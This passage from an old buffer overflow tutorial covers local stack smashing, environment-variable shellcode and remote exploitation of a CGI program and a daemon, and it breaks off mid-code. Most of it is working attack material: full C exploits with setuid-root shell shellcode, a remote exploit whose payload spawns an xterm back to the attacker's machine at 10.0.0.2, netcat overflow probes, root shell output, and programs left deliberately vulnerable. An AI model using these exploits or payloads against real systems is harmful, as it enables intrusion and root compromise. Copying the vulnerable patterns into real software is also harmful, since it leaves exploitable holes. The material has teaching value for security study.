¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿
ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿
¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ
¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿
ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿
¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ
¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿¿ÿÿ¿
sh-2.05b# **id**
uid=0(root) gid=100(users) groups=100(users),102(devel)

```
sh-2.05b#
```

As you can see this is faster and more automatic than any other already shown. This technique is perfect to have automatic exploits for different architectures and so on as we will se later.

Smashing the stack

This technique is used when the buffers are really small and you don't have space to make a "Jump into the stack" technique. An example of a problem like this would be example 6:

```
#include <stdio.h>

int main(int argc, char **argv) {
  char buffer[12];

  if(argc < 2) exit(0);

  strcpy(buffer, argv[1]);
  printf("You wrote %s\n", buffer);
  return 0;
}
```

This example will not let us do a "Jump into the stack" technique due to the fact that is only 12 bytes and even the shellcode is not small enough! So we have to smash the hole stack and overwrite over the EBP and EIP and the put the bed of NOPs and shellcode:

```
Memory grows
---------------------------------------------------------------------------------------->
[          Environment              ] [ EIP ] [ EBP ] [          Buffer             ]
[shellcode … NOP .. NOP …     ] [addr ] [addr  ] [          Buffer             ]
<----------------------------------------------------------------------------------------
User writes
```

This way we have to overwrite unto the environment or over other stack within functions our bed of NOPs and the shellcode, we have to be really careful since the environment can become unstable and render a not useful terminal.

An exploit for this technique would be the next one:

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#define OFFSET          0
#define ALIGN           0
#define BUFFER          400
```

```
char shellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}

void usage(char *name) {
  printf("Usage: %s <offset> <align> <buffer>\n", name);
  printf("Enrique A. Sanchez Montellano (nahual@g-con.org)\n");
  exit(0);
}

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  unsigned long addr;
  int i;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffer = atoi(argv[3]);

  code = (char *)malloc(buffer);

  printf("[ + ] Exploit for Example 6 of Buffer Overflow Chapter [ + ]\n");
  printf("------------------------------------------------------------\n");
  printf("[ + ] Coded by Enrique A. Sanchez Montellano\n\n");

  addr = get_sp() - offset;

  printf("[ + ] Using address 0x%x\n", addr);

  for(i = 0; i < 32; i += 4) {
    *(unsigned long *)&code[i] = addr;
  }

  for(i = 32; i <= buffer; i += 4) {
    *(long *)&code[i] = 0x90909090;
  }

  memcpy(code + buffer - strlen(shellcode) - align, shellcode, strlen(shellcode));
```

```
  printf("[ + ] Starting exploitation ... \n\n");

  execl("./example6", "./example6", code, NULL);

  return 0;
}
```

When we run it we get the next results:

```
nahual@fscking$ ./x-example6
[ + ] Exploit for Example 6 of Tao on Buffer Overflows [ + ]
[ + ] Coded by Enrique A. Sanchez Montellano
[ + ] Using address 0xbffff9c0
[ + ] Starting exploitation ...

You wrote

                                *´{°°¬¬¬^`  ´´ +¨¨  ~  \ ~ ~
                                                        /bin/sh^~¨|^~¨|
nahual@fscking$
```

We don't get a shell at all, something weird is going on! Not really the fact that we have a different way of handling the buffer just makes us have to put an offset to try to get within the NOPs and the shellcode, this way if we use an offset of 100 we shall reach it with ease

```
nahual@fscking$ ./x-example6 100
[ + ] Exploit for Example 6 of Tao on Buffer Overflows [ + ]
[ + ] Coded by Enrique A. Sanchez Montellano
[ + ] Using address 0xbffff9c0
[ + ] Starting exploitation ...

You wrote

                                *´{°°¬¬¬^`  ´´ +¨¨  ~  \ ~ ~
                                                        /bin/sh^~¨|^~¨|

sh-2.05$
```

Very interesting now what if we use the shellcode within the environment technique? We modify the exploit for example 1 to call example6 and we run it against it:

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
```

```c
#define VICTIM "./example6"
#define BSIZE		1040
#define ALIGN		0
#define OFFSET		0

extern char **environ;

char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
		"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
		"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv) {
  char *c0de, *envy;
  int bsize = BSIZE, align = ALIGN, offset = OFFSET, i;
  unsigned long addr;

  if((envy = getenv("AAAAAAA")) == NULL) {
    setenv("AAAAAAA", shellcode, 1);
    execve(argv[0], argv, environ);
  }

  align = strlen(argv[0]) - strlen(VICTIM);
  addr = (long)envy + align;

  c0de = (char *)malloc(bsize + 1);

  for(i = 0; i < bsize; i += 4)
    *(unsigned long *)&c0de[i] = addr;

  execle(VICTIM, VICTIM, c0de, NULL, environ);
  return 0;
}
```

After compiling the exploit we run it

```
nahual@fscking:~/book/overflows$ ./x2
You wrote
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
```

```
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿»ÿÿ¿
sh-2.05b$
```

As we can see this technique works great with small and big buffers, don’t jump or smash the stack just use your environment makes it 100 times easier and lets you write have a handle of local overflows with ease.

At the end of the chapter I have some different examples to practice all techniques, is important that the reader learns every single one of them not only for history sake but because each one shows you how the operating system behaves in different ways.

SPARC Architecture

SPARC architecture has its strongest point on the Solaris operating system, this operating system takes a really nice overload and has a lot of capabilities, the memory management and other things are totally different in the way they are handled and I will touch on the differences rather than explaining everything all over again.

If you are a “quick reader” and like to try everything before reading you probably already copied my examples unto an SPARC machine and saw that you cannot even make it crash, not to say exploit it, this was done on purpose to show an nice particularity of the SPARC architecture, only by leaving the overflowed function and restoring the previously saved EBP and EIP they get changed, this means that a program with only main cannot be overflowed!.

Sparc-example 1.c

```c
#include <stdio.h>

int overflow(char *over) {
  char buffer[1024];

  strcpy(buffer, over);
  return 0;
}

int main(int argc, char **argv) {
  if(argc < 2) exit(0);

  overflow(argv[1]);
  return 0;
}
```

How to remotely exploit a buffer overflow.

Local exploiting is one of the most effective ways to take control of a machine for an attacker; the most appreciated attacks are the ones that yield root. But gaining access to the machine is the hardest part, once inside is just a matter of time and technique to gain further privileges.

Remote buffer overflows are the most devastating ones; these ones can render access to the machine but also can at the same time gain access to the root account and total privileges on the machine.

The way to do them doesn't really differ, the technique is the same yet the exploits are a little more difficult, we will check the two different kinds of buffer overflows you can have, one is overflowing a program that gets called once and doesn't do a fork (such as a cgi or a program within inetd.conf) and the other is to overflow a daemon. I will first take the cgi example and its particularity.

On local overflows we needed to know in which address space we were executing to be able to then put the return address that way, in remote execution overflows we need to know exactly were the program is in memory to be able to adjust the address to execute our code. Instead of the function get_sp() which is:

```
unsigned long get_sp(void) {
   ___asm__("movl %esp, %eax");
}
```

We have the address 0xbfffffff by default and we use the offset to move the address into a position or address in which out code can be executed. So in the case of local overflows we have the following line:

```
addr = get_sp() - offset;
```

but in remote exploiting we have the next line:

```
addr = 0xbfffffff - offset;
```

so as you can see offset is never 0 on remote overflowing, of course one can put a default offset (such as 2000 for example) but that is another way to make it faster to execute, but the offset is there. If an address is hard coded in the exploit then the exploit becomes machine specific and we don't want that, we want it to be the more automatic the better, you can always bruteforce the offset of a cgi (a deamon is something else on bruteforcing) so number of tries is just limited by time and patience.

Then we will take the next program, a cgi program which will spit whatever you write back to it (not very useful in real life but useful for our purposes):

parrot.c

```
#include <stdio.h>
#include <stdlib.h>

char * copyline()
{
  char * ptr;
  unsigned long stack=(unsigned long)&stack;
  ptr=getenv("QUERY_STRING");
  printf("\n\n%x\n\n",stack);
  return ptr;
}

int main()
{
  char buf[1024];
  char * ptr;
  ptr = copyline();
  strcpy(buf,ptr);
  printf("%s\n",buf);
  return 0;
}
```

As the reader can see there are some particularities on this program, first we have a function called copyline which gets the environment variable QUERY_STRING and also prints the address in which the cgi is currently running, this of course does not happen on real life, but is useful when doing debugging and if the source is available.

On a closer inspection of the code we can see that the strcpy() function is being used and no bounds checking is done before, so we now that anything over 1024 characters will overflow the program and will also render the stack so we can change it and write anything we want in there.

In case that we didn't have the source we could also check by sending large amount of characters and doing something close to a binary search, in which you send 256, 512, 1024, 2048, 4096 and over and if it works you go up 3000 or so, if it crashes you take the half of the latest one that worked and the one that made it crash. Note that the program will crash at 1028 chars, it doesn't mean that 1028 is the one that makes it work but 1032, why? Because if you overwrite the frame pointer the program will crash but the return address will be untouched so from the last one that worked add 8. Let's see the example:

```
root@fscking:~/projects/overflows/tao of buffer overflows# perl -e "print 'GET /cgi-bin/parrot?'; print
'A' x 1000; print 'HTTP/1.0'; print \"\n\n\";" | nc -vv localhost 80
localhost [127.0.0.1] 80 (www) open

bfffec34

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAHTTP/1.0
 sent 1030, rcvd 1020
root@fscking:~/projects/overflows/tao of buffer overflows# perl -e "print 'GET /cgi-bin/parrot?'; print
'A' x 2000; print 'HTTP/1.0'; print \"\n\n\";" | nc -vv localhost 80
localhost [127.0.0.1] 80 (www) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>500 Internal Server Error</TITLE>
</HEAD><BODY>
<H1>Internal Server Error</H1>
The server encountered an internal error or
misconfiguration and was unable to complete
your request.<P>
Please contact the server administrator,
 root@zap.slackware.lan and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.<P>
More information about this error may be available
in the server error log.<P>
<HR>
<ADDRESS>Apache/1.3.12 Server at shell.defcom.com Port 80</ADDRESS>
</BODY></HTML>
 sent 2030, rcvd 600
root@fscking:~/projects/overflows/tao of buffer overflows# perl -e "print 'GET /cgi-bin/parrot?'; print
'A' x 1024; print ' HTTP/1.0'; print \"\n\n\";" | nc -vv localhost 80
localhost [127.0.0.1] 80 (www) open
HTTP/1.1 200 OK
Date: Sun, 22 Apr 2001 17:38:34 GMT
Server: Apache/1.3.12 (Unix)
Connection: close
Content-Type: text/plain


bfffec04
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 sent 1055, rcvd 1167
root@fscking:~/projects/overflows/tao of buffer overflows# perl -e "print 'GET /cgi-bin/parrot?'; print
'A' x 1028; print ' HTTP/1.0'; print \"\n\n\";" | nc -vv localhost 80
localhost [127.0.0.1] 80 (www) open
HTTP/1.1 500 Internal Server Error
Date: Sun, 22 Apr 2001 17:38:43 GMT
Server: Apache/1.3.12 (Unix)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>500 Internal Server Error</TITLE>
</HEAD><BODY>
<H1>Internal Server Error</H1>
The server encountered an internal error or
misconfiguration and was unable to complete
your request.<P>
Please contact the server administrator,
 root@zap.slackware.lan and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.<P>
More information about this error may be available
in the server error log.<P>
<HR>
<ADDRESS>Apache/1.3.12 Server at shell.defcom.com Port 80</ADDRESS>
</BODY></HTML>
 sent 1059, rcvd 769
root@fscking:~/projects/overflows/tao of buffer overflows#
```

Now we know that this is overflowable so now what we going to do?, we need to write an exploit for it of course, the easiest way is to make it print and then pipe it to nc in the next way:

```
nahual@fscking$ ./xr-parrot | nc localhost 80
[ + ] remote exploiting for parrot cgi script           [ + ]
[ + ] Using address 0xbfffffff                          [ + ]
[ + ] buffsize is 1032                      [ + ]
[ + ] offset is 0                           [ + ]
[ + ] align is 0                            [ + ]

HTTP/1.1 500 Internal Server Error
Date: Sun, 22 Apr 2001 17:38:43 GMT
Server: Apache/1.3.12 (Unix)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>500 Internal Server Error</TITLE>
</HEAD><BODY>
<H1>Internal Server Error</H1>
The server encountered an internal error or
misconfiguration and was unable to complete
your request.<P>
Please contact the server administrator,
 root@zap.slackware.lan and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.<P>
More information about this error may be available
in the server error log.<P>
<HR>
<ADDRESS>Apache/1.3.12 Server at shell.defcom.com Port 80</ADDRESS>
</BODY></HTML>
nahual@fscking$
```

as you can see we only see the stuff we send to stderr but not the stdin, which is the exploit code, which gets sent to port 80 of localhost.

This is the remote exploit for parrot cgi:

xr-parrot.c

```
/*
  xr-parrot.c

  Enrique A. Sanchez Montellano
  (@defcom.com ... Yes is only @defcom.com)
```

```
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define BUFFSIZE        1032
#define ALIGN           0
#define OFFSET          0

static char shellcode[]=
"\xeb\x3a\x5f\x31\xc0\x89\xfa\x89\x57\x6a\x80\xc2\x36\x89\x57\x6e\x80\xc2\x33\x80\xea\x30\x89\x
57\x72\x89\x47\x76\x88\x47\x25\x88\x47\x38\x88\x47\x63\xb0\x73\x2c\x53\x88\x47\x4d\x88\x47\x
56\xb0\x6c\x2c\x61\x89\xfb\x8d\x4f\x6a\x31\xd2\xcd\x80\xe8\xc1\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\
x2e\x2e\x2f\x73\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x2e\x2e\
x2f\x62\x69\x6e\x2f\x73\x68\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x
58\x2d\x63\x58\x2f\x75\x73\x72\x2f\x58\x31\x31\x52\x36\x2f\x62\x69\x6e\x2f\x78\x74\x65\x72\x6d\
x58\x2d\x64\x69\x73\x70\x6c\x61\x79X10.0.0.02:0.0";

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffsize = BUFFSIZE;
  int i;
  unsigned long addr;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffsize = atoi(argv[3]);

  code = (char *)malloc(buffsize);

  addr = 0xbfffffff - offset;

  fprintf(stderr, "[ + ] remote exploiting for parrot script      [ + ]\n");
  fprintf(stderr, "[ + ] Using address: 0x%x                      [ + ]\n", addr);
  fprintf(stderr, "[ + ] buffsize is %d                           [ + ]\n", buffsize);
  fprintf(stderr, "[ + ] offset is %d                             [ + ]\n", offset);
  fprintf(stderr, "[ + ] align is %d                              [ + ]\n\n", align);

  for(i = 0; i < buffsize; i += 4) {
    *(long *)&code[i] = 0x90909090;
  }

  *(long *)&code[buffsize - 4] = addr;
```

```
  *(long *)&code[buffsize - 8] = addr;

  memcpy(code + buffsize - 8 -strlen(shellcode) - align, shellcode, strlen(shellcode));

  printf("GET /cgi-bin/parrot?");
  printf("%s", code);
  printf(" HTTP/1.0\n\r\n\r");

  return 0;
}
```

Since cgi cannot render shell because is indirectly being called we have to have a shellcode that will send an xterm to our machine, this example has a shellcode that will send an xterm to 10.0.0.2:

```
root@fscking# ifconfig -a
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
          RX packets:1142195 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1142195 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0

eth0    Link encap:Ethernet  HWaddr 00:50:04:0A:6A:B6
          inet addr:10.0.0.2  Bcast:10.0.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5389869 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1742363 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0
          Interrupt:11 Base address:0xcc00
root@fscking#
```

We need to do an xhost + to disable control of programs sent to out machine, we want to receive an xterm so we need to add that host to the control list, you can deactivate the security by just xhost + but then anyone can read all the keystrokes you do on your machine.

```
root@fscking# xhost + 10.0.0.2
10.0.0.2 being added to access control list
root@fscking#
```

Now how we know the offset?, basically this program will let you know since it's printing its own address, what you do after that is subtract from 0xbfffffff the address in which the program is running and then change it to decimal, if you are wondering: "Well I'm not really a hexadecimal god", there is no problem at all, kcalc can do hexadecimal and decimal so that program can be useful. So let's see:

```
root@fscking# nc localhost 80
GET /cgi-bin/parrot?Blah HTTP/1.0
```

```
bffff82f                    Check the address space in which is running
Blah
root@fscking#
```

So we subtract and we realize that the offset is 2000 so now we run the exploit with the right offset:

```
root@fscking# ./xr-parrot 2000 | nc localhost 80
[ + ] remote exploiting for parrot cgi script          [ + ]
[ + ] Using address 0xbffff82f                         [ + ]
[ + ] buffsize is 1032                      [ + ]
[ + ] offset is 0                           [ + ]
[ + ] align is 0                            [ + ]
```

Voila!, the xterm appears on the screen, the uid is nobody (you can check by id on that xterm):

```
sh-1.24$ id
uid = 99(nobody)          gid = 99 (nobody)
sh-1.24$
```

From there the xterm will disappear in around 2 minutes because of the timeout of the apache, but you can /usr/X11R6/bin/xterm -ut -display 10.0.0.2:0.0 & unto that xterm and the other xterm will not timeout. From there local exploits can be run to gain further access.

Remote overflows on daemons

Now to daemons, daemons usually do a fork() function and you deal with a child, you might get lucky and the child will also run as root or it may change to something else, but the same technique applies, you need to know exactly were is going and what does it do. A basic deamon would be an echo deamon.

A basic deamon would be something in the likes of:

```
---deamon.c---
/*
  server1.c

  Example of an overflowable server

  Enrique A. Sanchez Montellano
*/

#include "main.h"
#define DEFAULT_PORT 3000

int copyline(char *buffer, int socky) {
  char overflow[1024];
  int i;
```

```
  unsigned long addr = (unsigned long)&addr;

  for(i = 0; i < 1024; i++) {
    overflow[i] = '\0';
  }

  sprintf(overflow, "%x", addr);
  fprintf(stderr, "Using address %s\n", overflow);
  write(socky, "Using address: %s\n", overflow);

  for(i = 0; i < 1024; i++) {
    overflow[i] = '\0';
  }

  strcpy(overflow, buffer);
  write(socky, "\nYou wrote: ", strlen("You wrote: "));
  write(socky, overflow, sizeof(overflow));

  return 0;
}

int main(int argc, char **argv) {
  int sockfd, sockfd2, port = DEFAULT_PORT;
  struct sockaddr_in serv;
  int fromlen, i;
  char buf[4096], *victim, overflow[1024];

#ifndef DEBUG

  if( fork() != 0) {
    exit(1);
  }

  close(0);
  close(1);
  close(2);

#endif

  for(i = 0; i < 4096; i++) {
    buf[i] = '\0';
  }
  for(i = 0; i < 1024; i++) {
    buf[i] = '\0';
  }

  if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
```

```
  perror("socket");
  exit(1);
}

serv.sin_addr.s_addr = 0;
serv.sin_port = htons(port);
serv.sin_family = AF_INET;

if(bind(sockfd, (struct sockaddr *)&serv, 16)) {
  perror("bind");
  exit(1);
}

if(listen(sockfd, 5)) {
